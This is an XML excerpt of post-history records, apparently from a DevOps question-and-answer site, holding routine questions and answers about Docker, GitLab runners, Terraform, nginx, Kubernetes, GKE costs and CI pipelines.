  <row Id="33653" PostHistoryTypeId="2" PostId="10982" RevisionGUID="d3768a52-9a74-4fe9-80da-7971a22d17b3" CreationDate="2020-03-03T15:13:57.680" UserId="16683" Text="In Ruby you can use this function:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;# return true if we are inside a docker container&#xD;&#xA;def in_container?&#xD;&#xA;  return File.file?('/.dockerenv')&#xD;&#xA;end&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33654" PostHistoryTypeId="2" PostId="10983" RevisionGUID="8735c2a8-bad2-4394-b36f-b755b9e169d3" CreationDate="2020-03-03T15:51:46.413" UserId="20025" Text="I got a problem on a gitlab-runner after pushing several commits:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Running with gitlab-runner 11.4.0 (8af42251)&#xD;&#xA;   on GITLAB-RUNNER 58c31dfa&#xD;&#xA; Using Docker executor with image registry.git.rwth-aachen.de/luechow-group/inpsights/gnu:7.3.0 ...&#xD;&#xA; Pulling docker image registry.git.rwth-aachen.de/luechow-group/inpsights/gnu:7.3.0 ...&#xD;&#xA; Using docker image sha256:8c48f31ac37d239cf7c072961068e85dd0af222604461b7c0df905a45e900877 for registry.git.rwth-aachen.de/luechow-group/inpsights/gnu:7.3.0 ...&#xD;&#xA;Running on runner-58c31dfa-project-12102-concurrent-0 via GITLAB-RUNNER...&#xD;&#xA;00:05&#xD;&#xA;Fetching changes...&#xD;&#xA; HEAD is now at 15dd3f8 .&#xD;&#xA; error: cannot lock ref 'refs/remotes/origin/develop': Unable to create '/builds/luechow-group/inPsights/.git/refs/remotes/origin/develop.lock': File exists.&#xD;&#xA; Another git process seems to be running in this repository, e.g.&#xD;&#xA; an editor opened by 'git commit'. Please make sure all processes&#xD;&#xA; are terminated then try again. If it still fails, a git process&#xD;&#xA; may have crashed in this repository earlier:&#xD;&#xA; remove the file manually to continue.&#xD;&#xA; From https://git.rwth-aachen.de/luechow-group/inPsights&#xD;&#xA;  ! 62d2cd4..f2bb2fe  develop    -&gt; origin/develop  (unable to update local ref)&#xD;&#xA;    15dd3f8..0c2b081  feature/ElectronSelectorRebase -&gt; origin/feature/ElectronSelectorRebase&#xD;&#xA; Auto packing the repository in background for optimum performance.&#xD;&#xA; See &quot;git help gc&quot; for manual housekeeping.&#xD;&#xA; error: cannot lock ref 'refs/remotes/origin/develop': Unable to create '/builds/luechow-group/inPsights/.git/refs/remotes/origin/develop.lock': File exists.&#xD;&#xA; Another git process seems to be running in this repository, e.g.&#xD;&#xA; an editor opened by 'git commit'. Please make sure all processes&#xD;&#xA; are terminated then try again. If it still fails, a git process&#xD;&#xA; may have crashed in this repository earlier:&#xD;&#xA; remove the file manually to continue.&#xD;&#xA; error: failed to run reflog&#xD;&#xA; ERROR: Job failed: exit code 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Which command do I have to use to delete the `.lock` file in the docker container and to save this change?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33655" PostHistoryTypeId="1" PostId="10983" RevisionGUID="8735c2a8-bad2-4394-b36f-b755b9e169d3" CreationDate="2020-03-03T15:51:46.413" UserId="20025" Text="Problem on gitlab-runner: cannot lock ref [...] Another git process seems to be running in this repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="33656" PostHistoryTypeId="3" PostId="10983" RevisionGUID="8735c2a8-bad2-4394-b36f-b755b9e169d3" CreationDate="2020-03-03T15:51:46.413" UserId="20025" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33657" PostHistoryTypeId="2" PostId="10984" RevisionGUID="1333b4aa-2665-4e6f-adc3-5503f0f73587" CreationDate="2020-03-03T16:08:31.410" UserId="20025" Text="The easiest solution for me to get `gitlab-ci` running again was to execute &#xD;&#xA;&#xD;&#xA;`docker container prune`&#xD;&#xA;&#xD;&#xA;on the runner machine. The command removes all stopped docker containers and the `.lock` files therein. Running a pipeline from gitlab.com then starts a new container. All caches are lost then." ContentLicense="CC BY-SA 4.0" />
  <row Id="33658" PostHistoryTypeId="2" PostId="10985" RevisionGUID="95c5d541-4718-445b-89fb-79bd2a05e53f" CreationDate="2020-03-03T16:08:39.470" UserId="20028" Text="You can use **Terraform for azure** to handle the dynamic creation of azure resources in the release pipeline in Azure DevOps. Terraform maintains a state file for all the created resources after a run. &#xD;&#xA;&#xD;&#xA;If the script is run multiple times, it ignores already created resources unless there are any properties updated and created new resources.&#xD;&#xA;&#xD;&#xA;FYI, follow below link for a quick example&#xD;&#xA;[Terraform example][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/terraform/terraform-create-complete-vm" ContentLicense="CC BY-SA 4.0" />
  <row Id="33659" PostHistoryTypeId="2" PostId="10986" RevisionGUID="feac818e-c0e8-4bb8-bfa5-ef10916ef259" CreationDate="2020-03-04T00:29:06.197" UserId="2463" Text="It sounds like your goal is to have a variable that takes a list and to validate each of the elements of that list. If that's true, then the approach would be to write an expression that returns true only if _all_ of the elements are valid. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;names&quot; {&#xD;&#xA;  type = list(string)&#xD;&#xA;&#xD;&#xA;  validation {&#xD;&#xA;    condition     = can([for v in var.names : regex(&quot;test$&quot;, v)])&#xD;&#xA;    error_message = &quot;All names must end with \&quot;test\&quot;.&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The above relies on the fact that [`regex`](https://www.terraform.io/docs/configuration/functions/regex.html) will fail if the given string doesn't match the given pattern, and that the `for` expression will fail if the given expression fails for any `v`. [`can`](https://www.terraform.io/docs/configuration/functions/can.html) then captures the failure and returns `false`, making the validation fail.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33660" PostHistoryTypeId="50" PostId="10675" RevisionGUID="6e5abee9-bd0f-4845-ab7d-9e291763e3da" CreationDate="2020-03-04T04:03:45.397" UserId="-1" />
  <row Id="33667" PostHistoryTypeId="2" PostId="10989" RevisionGUID="1dac3290-75ca-4215-9911-17e4d1e4ba9e" CreationDate="2020-03-04T08:44:55.033" UserId="19948" Text="Ok, after researching some more time, I've found this gem [https://markheath.net/post/backup-restore-sql-database-azure-cli][1]. In this article author uses ```az sql db export``` and ```az sql db import``` to save database into BACPAC and restore it back on the clean database. But here comes a pitfall - Azure CLI task v1.0 uses **CMD** so it's not easy to translate from **Bash** syntax to **CMD**, and Azure CLI task v2.0 *preview* which has option to choose **Bash** as an interpreter doesn't have az installed (it's probably a bug and already has a post on uservoice) so one needs to rewrite the script into **Powershell** if they want to use it.   &#xD;&#xA;So, it's not completely what I was looking for but it does its job. &#xD;&#xA;&#xD;&#xA;  [1]: https://markheath.net/post/backup-restore-sql-database-azure-cli" ContentLicense="CC BY-SA 4.0" />
  <row Id="33672" PostHistoryTypeId="50" PostId="10668" RevisionGUID="1a71adc8-fd87-480e-84a8-17c27e1f2b6f" CreationDate="2020-03-04T16:02:10.460" UserId="-1" />
  <row Id="33680" PostHistoryTypeId="2" PostId="10992" RevisionGUID="1769788a-4555-427a-9f73-e60011e0828a" CreationDate="2020-03-05T05:18:21.830" UserId="20063" Text="I have been writing a few playbooks and roles to automate the installation of servers in my network, but the initial request for a certificate from LE has always proven cumbersome. E.g. For a dns-01 challenge, your dns configuration must have been propagated upstream or certbot will fail.&#xA;&#xA;I am now considering to use the native acme_* modules to acquire the initial certificate(s) and then generate services on the host (using more generic ansible modules) to let certbot manage the renewal.&#xA;&#xA;Implementation of additional functionality such as force-renewal (which I didn't consider before the 29 Feb 2020 bug in LE) and revocation of certificates is not yet very clear to me, but I'm leaning towards the native module." ContentLicense="CC BY-SA 4.0" />
  <row Id="33681" PostHistoryTypeId="2" PostId="10993" RevisionGUID="4b16a24e-9e87-4ade-b8a7-ed0fcfb5110f" CreationDate="2020-03-05T08:15:33.450" UserId="9785" Text="Create String parameter `artifactID`, Password parameter `NexusUser` with username and Password parameter `NexusPassword` with nexus password.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`curl -v -u $NexusUser:$NexusPassword -o ~/tmp_dl/distr.zip https://my_nexus_url.com/nexus/content/repositories/${artifactID}/distrib.zip`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33682" PostHistoryTypeId="2" PostId="10994" RevisionGUID="f0308979-a369-4d74-9693-0af1c7e09428" CreationDate="2020-03-05T14:08:25.400" UserId="20078" Text="    server {&#xD;&#xA;            listen 80;&#xD;&#xA;            server_name dev.com;&#xD;&#xA;            server_tokens off;&#xD;&#xA;            location ^~ /.well-known/acme-challenge/ {&#xD;&#xA;            default_type &quot;text/plain&quot;;&#xD;&#xA;            root /etc/letsencrypt;&#xD;&#xA;            try_files $uri $uri/ =404;&#xD;&#xA;            auth_basic          off;&#xD;&#xA;            }&#xD;&#xA;                return 301 https://dev.com$request_uri;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;            server_name dev.com;&#xD;&#xA;            server_tokens off;&#xD;&#xA;            access_log /var/log/nginx/dev.com.access.log;&#xD;&#xA;            listen 443 ssl;&#xD;&#xA;            ssl on;&#xD;&#xA;            ssl_certificate /etc/nginx/ssl/dev.com.crt;&#xD;&#xA;            ssl_certificate_key /etc/nginx/ssl/dev.com.key;&#xD;&#xA;            ssl_stapling on;&#xD;&#xA;            ssl_session_timeout 24h;&#xD;&#xA;            ssl_protocols TLSv1.2;&#xD;&#xA;            ssl_prefer_server_ciphers on;&#xD;&#xA;            ssl_dhparam /etc/ssl/certs/dhparam.pem;&#xD;&#xA;            ssl_ciphers &quot;EECDH+AESGCM:EDH+AESGCM:ECDHE-RSA-AES128-GCM-SHA256:AES256+EECDH:DHE-RSA-AES128-GCM-SHA256:AES256+EDH:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4&quot;;&#xD;&#xA;            resolver 8.8.8.8;&#xD;&#xA;            client_max_body_size 50m;&#xD;&#xA;            gzip on;&#xD;&#xA;            gzip_disable &quot;msie6&quot;;&#xD;&#xA;            gzip_comp_level 9;&#xD;&#xA;            gzip_min_length 1100;&#xD;&#xA;            gzip_buffers 16 8k;&#xD;&#xA;            gzip_proxied any;&#xD;&#xA;            gzip_types&#xD;&#xA;                text/plain&#xD;&#xA;                text/css&#xD;&#xA;                text/js&#xD;&#xA;                text/xml&#xD;&#xA;                text/javascript&#xD;&#xA;                application/javascript&#xD;&#xA;                application/x-javascript&#xD;&#xA;                application/json&#xD;&#xA;                application/xml&#xD;&#xA;                application/xml+rss;&#xD;&#xA;            root /var/www/dev.com/front/build;&#xD;&#xA;            fastcgi_intercept_errors on; &#xD;&#xA;            location / {&#xD;&#xA;                  try_files $uri $uri/ /index.html;&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;          location ^~ /api {&#xD;&#xA;             alias /var/www/dev.com/v3/public;&#xD;&#xA;             index index.php;&#xD;&#xA;             try_files $uri $uri/   /index.php?$args;  &#xD;&#xA;            location ~ \.php$ {&#xD;&#xA;              fastcgi_pass  127.0.0.1:9005;&#xD;&#xA;              include snippets/fastcgi-php.conf;&#xD;&#xA;              fastcgi_param SCRIPT_FILENAME $request_filename;&#xD;&#xA;           }&#xD;&#xA;          }&#xD;&#xA;          location  /api/public {&#xD;&#xA;             alias /var/www/dev.com/v3/public;&#xD;&#xA;             index index.php;&#xD;&#xA;             try_files $uri $uri/ index.php;&#xD;&#xA;            location ~ \.php$ {&#xD;&#xA;              fastcgi_pass  127.0.0.1:9005;&#xD;&#xA;              include fastcgi_params;&#xD;&#xA;              include snippets/fastcgi-php.conf;&#xD;&#xA;              fastcgi_param SCRIPT_FILENAME $request_filename;&#xD;&#xA;           }&#xD;&#xA;          }&#xD;&#xA;            location /api/chatty/ {&#xD;&#xA;                proxy_http_version 1.1;&#xD;&#xA;                proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;                proxy_set_header Connection &quot;upgrade&quot;;&#xD;&#xA;                proxy_set_header Host      $host;&#xD;&#xA;                proxy_set_header X-Real-IP $remote_addr;&#xD;&#xA;                proxy_pass http://127.0.0.1:9000/;&#xD;&#xA;                proxy_read_timeout 86400;&#xD;&#xA;                break;&#xD;&#xA;    &#xD;&#xA;            }&#xD;&#xA;                location ^~ /.well-known/acme-challenge/ {&#xD;&#xA;                default_type &quot;text/plain&quot;;&#xD;&#xA;                root /etc/letsencrypt;&#xD;&#xA;                try_files $uri $uri/ =404;&#xD;&#xA;                auth_basic          off;&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 0.0.0.0:8080&gt;&#xD;&#xA;      ServerName dev.com&#xD;&#xA;      DocumentRoot /var/www/dev.com&#xD;&#xA;      ServerAdmin dev@admin.com&#xD;&#xA;      UseCanonicalName Off&#xD;&#xA;      CustomLog /var/log/apache2/dev.com.log combined&#xD;&#xA;      &lt;Directory &quot;/var/www/dev.com&quot;&gt;&#xD;&#xA;        AllowOverride All&#xD;&#xA;        Options -Indexes&#xD;&#xA;      &lt;/Directory&gt;&#xD;&#xA;    Apache versions &gt;= 2.4.&#xD;&#xA;    SSILegacyExprParser in&#xD;&#xA;    /mod/mod_include.html#ssilegacyexprparser&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;Nginx static works well but I can't login with user:pass to get token.&#xD;&#xA;If i proxy pass to apache everythin works ok with Apache &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33683" PostHistoryTypeId="1" PostId="10994" RevisionGUID="f0308979-a369-4d74-9693-0af1c7e09428" CreationDate="2020-03-05T14:08:25.400" UserId="20078" Text="Nginx php fpm symfony setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="33684" PostHistoryTypeId="3" PostId="10994" RevisionGUID="f0308979-a369-4d74-9693-0af1c7e09428" CreationDate="2020-03-05T14:08:25.400" UserId="20078" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33685" PostHistoryTypeId="2" PostId="10995" RevisionGUID="66fd79dc-1455-475a-a4f0-543398f9599b" CreationDate="2020-03-05T16:35:10.110" UserId="20081" Text="My team is on the process of migrating all our cloud applications from AWS to GCP, and we were considering using GKE for our main program, until we got the [news that Google will now charge an hourly management fee of $0.10 for each cluster in GKE][1].&#xD;&#xA;&#xD;&#xA;We still haven't started using GKE, and are now considering if it's really the best option for us. Our workload consists of two process-heavy data-analyses pipelines, which we use to run up to 20 analyses simultaneously in different AWS instances, running those once a week, for around 15min to 3h at most (and perhaps will start running it twice a week on the nearby future). On AWS, we currently spawn several instances of EC2 machines for each pipeline, one for each analyses, so we were considering GKE as we could run several analyses on the same cluster, and let GKE do the scaling for us.&#xD;&#xA;&#xD;&#xA;We'd only need to run workloads on the cluster for around 15min to 6h each week, so paying for nodes to be up and running 24/7 seems a bit of a waste, but perhaps I'm not seeing the big picture here, as analyses could be run on the same cluster and save us money? Is there an efficient way to shut GKE down while we're not using it (to save at the very least 690h of running idle every month)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/googlecloud/comments/fdgeyb/new_gke_management_fee_of_010_per_hour/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33686" PostHistoryTypeId="1" PostId="10995" RevisionGUID="66fd79dc-1455-475a-a4f0-543398f9599b" CreationDate="2020-03-05T16:35:10.110" UserId="20081" Text="Is Google Kubernetes (GKE) worth it for a program that runs once a week?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33687" PostHistoryTypeId="3" PostId="10995" RevisionGUID="66fd79dc-1455-475a-a4f0-543398f9599b" CreationDate="2020-03-05T16:35:10.110" UserId="20081" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33688" PostHistoryTypeId="5" PostId="10995" RevisionGUID="559fa9e6-96f7-4a15-a9bf-666b5d6dd96b" CreationDate="2020-03-05T16:43:19.857" UserId="20081" Comment="added 625 characters in body" Text="My team is on the process of migrating all our cloud applications from AWS to GCP, and we were considering using GKE for our main program, until we got the [news that Google will now charge an hourly management fee of $0.10 for each cluster in GKE][1].&#xD;&#xA;&#xD;&#xA;We still haven't started using GKE, and are now considering if it's really the best option for us. Our workload consists of two process-heavy data-analyses pipelines, which we use to run up to 20 analyses simultaneously in different AWS instances, running those once a week, for around 15min to 3h at most (and perhaps will start running it twice a week on the nearby future). On AWS, we currently spawn several instances of EC2 machines for each pipeline, one for each analyses, so we were considering GKE as we could run several analyses on the same cluster, and let GKE do the scaling for us.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm also under the impression that this cost is on top of the cost to have one pod running constantly for every nodepool, is that correct? For every nodepool we create inside our cluster, we'd have to pay for a pod to be running in there 24/7 as well, so that's another 'idle cost' to be considered...&#xD;&#xA;&#xD;&#xA;We'd only need to run workloads on the cluster for around 15min to 6h each week, so paying for nodes to be up and running 24/7 seems a bit of a waste, but perhaps I'm not seeing the big picture here, as analyses could be run on the same cluster and save us money? Is there an efficient way to shut GKE down while we're not using it - either the pods or, better yet, the whole cluster itself? That'd save us at the very least 690h of running idle every month.&#xD;&#xA;&#xD;&#xA;Would killing and deleting all our clusters as soon as the last analyses is done, and recreating it every week, once new analyses are needed, be something feasible? Would there be a cost involved with that? Is that feasible to be done 'automatically'?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/googlecloud/comments/fdgeyb/new_gke_management_fee_of_010_per_hour/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33690" PostHistoryTypeId="10" PostId="10994" RevisionGUID="5fc5e102-8f65-40fe-ad61-26cc71528b92" CreationDate="2020-03-05T21:26:58.587" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="33691" PostHistoryTypeId="5" PostId="10912" RevisionGUID="0d46b2ba-0594-4b6f-a5c2-28de45bb5f1f" CreationDate="2020-03-05T21:28:19.803" UserId="20020" Comment="fix a typo" Text="I am deploying a virtual service and gateway but when I run it on browser get the below error: &#xD;&#xA;&#xD;&#xA;**upstream connect error or disconnect/reset before headers. reset reason: connection failure**&#xD;&#xA;&#xD;&#xA;I deployed with helm chart and the result of dry run is below for virtual service and gateway:&#xD;&#xA;```&#xD;&#xA;# Source: beta-optimus/templates/gateway.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: Gateway&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev-gateway&#xD;&#xA;spec:&#xD;&#xA;  selector: &#xD;&#xA;      istio: ingressgateway&#xD;&#xA;  servers: &#xD;&#xA;    - port:&#xD;&#xA;         number: 443&#xD;&#xA;         name: https&#xD;&#xA;         protocol: HTTP&#xD;&#xA;      hosts: &#xD;&#xA;         - &quot;*.myapp.xyz&quot;&#xD;&#xA;---&#xD;&#xA;# Source: beta-optimus/templates/virtualService.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: VirtualService&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev&#xD;&#xA;spec:&#xD;&#xA;  hosts:&#xD;&#xA;    - &quot;beta-api-dev.myapp.xyz&quot;&#xD;&#xA;  gateways: &#xD;&#xA;    - beta-api-dev-gateway&#xD;&#xA;  http:&#xD;&#xA;    - route:&#xD;&#xA;         - destination: &#xD;&#xA;               host: beta-optimus&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;the beta-optimus is running on 2 pods finely.&#xD;&#xA;I am using AWS so I made entry into Route53 for the proposed URL with istio. My other deployments work fine, but getting the error only in this one." ContentLicense="CC BY-SA 4.0" />
  <row Id="33692" PostHistoryTypeId="24" PostId="10912" RevisionGUID="0d46b2ba-0594-4b6f-a5c2-28de45bb5f1f" CreationDate="2020-03-05T21:28:19.803" Comment="Proposed by 20020 approved by -1 edit id of 1153" ContentLicense="CC BY-SA 4.0" />
  <row Id="33693" PostHistoryTypeId="5" PostId="10912" RevisionGUID="568c747a-3874-4f7d-a263-55168fc61979" CreationDate="2020-03-05T21:28:19.803" UserId="40" Comment="fix a typo" Text="I am deploying a virtual service and gateway but when I run it on browser get the below error: &#xD;&#xA;&#xD;&#xA;**upstream connect error or disconnect/reset before headers. reset reason: connection failure**&#xD;&#xA;&#xD;&#xA;I deployed with helm chart and the result of dry run is below for virtual service and gateway:&#xD;&#xA;```&#xD;&#xA;# Source: beta-optimus/templates/gateway.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: Gateway&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev-gateway&#xD;&#xA;spec:&#xD;&#xA;  selector: &#xD;&#xA;      istio: ingressgateway&#xD;&#xA;  servers: &#xD;&#xA;    - port:&#xD;&#xA;         number: 443&#xD;&#xA;         name: https&#xD;&#xA;         protocol: HTTP&#xD;&#xA;      hosts: &#xD;&#xA;         - &quot;*.myapp.xyz&quot;&#xD;&#xA;---&#xD;&#xA;# Source: beta-optimus/templates/virtualService.yaml&#xD;&#xA;apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;kind: VirtualService&#xD;&#xA;metadata:&#xD;&#xA;  name: beta-api-dev&#xD;&#xA;spec:&#xD;&#xA;  hosts:&#xD;&#xA;    - &quot;beta-api-dev.myapp.xyz&quot;&#xD;&#xA;  gateways: &#xD;&#xA;    - beta-api-dev-gateway&#xD;&#xA;  http:&#xD;&#xA;    - route:&#xD;&#xA;         - destination: &#xD;&#xA;               host: beta-optimus&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;the beta-optimus is running on 2 pods fine.&#xD;&#xA;I am using AWS so I made entry into Route53 for the proposed URL with istio. My other deployments work fine, but getting the error only in this one." ContentLicense="CC BY-SA 4.0" />
  <row Id="33706" PostHistoryTypeId="2" PostId="10999" RevisionGUID="7552da5b-52dc-45fb-bfe1-8ffa4cc1be49" CreationDate="2020-03-06T07:26:57.613" UserId="20020" Text="Define the volume in the following way &#xD;&#xA;```yaml&#xD;&#xA;volumes:&#xD;&#xA;  - ${local_path}:/data&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or using docker volumes &#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version: '3.7'&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  db-data:&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  one:&#xD;&#xA;    image: alpine&#xD;&#xA;    command: sh -c 'echo one &gt;&gt; /data/db.txt &amp;&amp; cat /data/db.txt | wc -l'&#xD;&#xA;    volumes:&#xD;&#xA;      - db-data:/data&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33707" PostHistoryTypeId="2" PostId="11000" RevisionGUID="42382d25-ce0c-484e-9c95-c9cdd90a0b84" CreationDate="2020-03-06T07:50:54.853" UserId="10507" Text="I am running k8s cluster for evaluation purposes inside some vagrant box. I have external kubectl access. I was able to get PostgreSQL helm template running on the cluster. But now let say I want to access it outside of the k8s(or VM actually).&#xD;&#xA;&#xD;&#xA;There is a problem that I am not very educated in the niceties of Host to Quest communication in VM not to speak about the k8s stack. By empirical research I have found that turning service to NodePort makes it available outside the k8s. But as I said the installed PostgreSQL service is ClusterIP so I want to access it outside aswell without finding a way to turn it to NodePort. So there is couple of noob questions here&#xD;&#xA;&#xD;&#xA; 1. what is difference between `kubectl proxy` and `kubectl port-forward`?&#xD;&#xA; 1. what is different when executing `kubectl proxy` from inside VM running k8s cluster and running the same kubectl command on the host?&#xD;&#xA; 1. what is the usual way to make services available outside of the cluster, when using the cluster just for development?  &#xD;&#xA; 1. is this quote true? &#xD;&#xA;&gt;port forwarding is not needed when using private network and accessing guest from host with guest private ip, port forwarding is used to access guest with localhost/127.0.0.1 the ports are then forwarded" ContentLicense="CC BY-SA 4.0" />
  <row Id="33708" PostHistoryTypeId="1" PostId="11000" RevisionGUID="42382d25-ce0c-484e-9c95-c9cdd90a0b84" CreationDate="2020-03-06T07:50:54.853" UserId="10507" Text="Accessing k8s outside of VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="33709" PostHistoryTypeId="3" PostId="11000" RevisionGUID="42382d25-ce0c-484e-9c95-c9cdd90a0b84" CreationDate="2020-03-06T07:50:54.853" UserId="10507" Text="&lt;kubernetes&gt;&lt;kubectl&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33715" PostHistoryTypeId="5" PostId="10896" RevisionGUID="e7f9e2ee-13e8-4c0f-a540-6853533fb477" CreationDate="2020-03-06T09:50:38.160" UserId="20020" Comment="fix a typo" Text="I recently installed Docker in Ubuntu 18.04 and with that, I have downloaded the **mariadb** image like this &#xD;&#xA;&#xD;&#xA;    docker run --name mariadb \&#xD;&#xA;    -p 3306:3306 \&#xD;&#xA;    -v /opt/mariadb_data:/var/lib/mysql \&#xD;&#xA;    -e MYSQL_ROOT_PASSWORD=lopaz \&#xD;&#xA;    --restart always \&#xD;&#xA;    -d mariadb:10.1&#xD;&#xA;&#xD;&#xA;this is pretty cool method that I used to download from the official **mariadb** image and it's working well. What my question is that I want to use to login to the MariaDB ? when I type&#xD;&#xA;&#xD;&#xA;`mysql -h &lt;myhost&gt; -u root -p`&#xD;&#xA;&#xD;&#xA;MySQL or MariaDB not found on my local Ubuntu machine. What happened ? how my pc knows that I installed **mariadb** using docker? then I installed **mysql client app** then only I can use `mysql` commands on my local pc! please give me a clarification about why it happens when install using docker? thanks in advanced" ContentLicense="CC BY-SA 4.0" />
  <row Id="33716" PostHistoryTypeId="24" PostId="10896" RevisionGUID="e7f9e2ee-13e8-4c0f-a540-6853533fb477" CreationDate="2020-03-06T09:50:38.160" Comment="Proposed by 20020 approved by 354, 18612 edit id of 1155" ContentLicense="CC BY-SA 4.0" />
  <row Id="33726" PostHistoryTypeId="2" PostId="11006" RevisionGUID="a8220589-3e88-48e7-bedd-a3f3426770f0" CreationDate="2020-03-06T17:11:43.463" UserId="20101" Text="1. &#xD;&#xA;&#xD;&#xA;&gt; kubectl port-forward forwards connections to a local port to a port on&#xD;&#xA;&gt; a pod. Compared to kubectl proxy, kubectl port-forward is more generic&#xD;&#xA;&gt; as it can forward TCP traffic while kubectl proxy can only forward&#xD;&#xA;&gt; HTTP traffic. Generally speaking, using port forwarding you could get&#xD;&#xA;&gt; on your ‘localhost’ any services launched in your cluster.&#xD;&#xA;&#xD;&#xA; https://stackoverflow.com/questions/58360323/difference-between-kubectl-port-forwarding-and-proxy&#xD;&#xA;&#xD;&#xA;2. It does not make a lot of sence to run 'kubectl proxy' from inside VM running k8s cluster. Kubectl is your client tool, so stick with it outside of cluster range.&#xD;&#xA;&#xD;&#xA;3. The way you would access production services, for the most part if your service is DB oriented stick with ClusterIP. If you want to externally access some Web/HTTP service expose it as a Load Balancer or an Ingress ( in case u have N of them ). If you want to test the DB you could just run a dummy pod and execute some sql-client commands from there.&#xD;&#xA;&#xD;&#xA;4. I am not sure I understand, could you care to explain a little bit more detailed ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="33727" PostHistoryTypeId="2" PostId="11007" RevisionGUID="0e69828a-568d-4cf3-b894-27359fe5ed8a" CreationDate="2020-03-06T17:42:41.857" UserId="20101" Text="    the idea is for each team member to have his/her own environment assigned, but deploy using a shared parametrized pipeline&#xD;&#xA;&#xD;&#xA;1. You could use definitions for the steps for each environment.&#xD;&#xA;```yaml&#xD;&#xA;definitions:&#xD;&#xA;  steps:&#xD;&#xA;    - step: deploy to staging1&#xD;&#xA;        script:&#xD;&#xA;          - echo &quot;Staging 1&quot;&#xD;&#xA;    - step: deploy to staging2&#xD;&#xA;        script:&#xD;&#xA;          - echo &quot;Staging 2&quot;&#xD;&#xA;        &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. Then just express each colleague branch and restrict his commits to just this branch.&#xD;&#xA;For each of the branches you could call your needed definitions.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;branches:    #these will run on every push of the branch&#xD;&#xA;    feature/john.b:&#xD;&#xA;      - step:&#xD;&#xA;          # call needed definition step/s&#xD;&#xA;    feature/pavel.m:&#xD;&#xA;          # call needed definition step/s&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This gives u flexibility to express multiple definitions steps for one person if needed. " ContentLicense="CC BY-SA 4.0" />
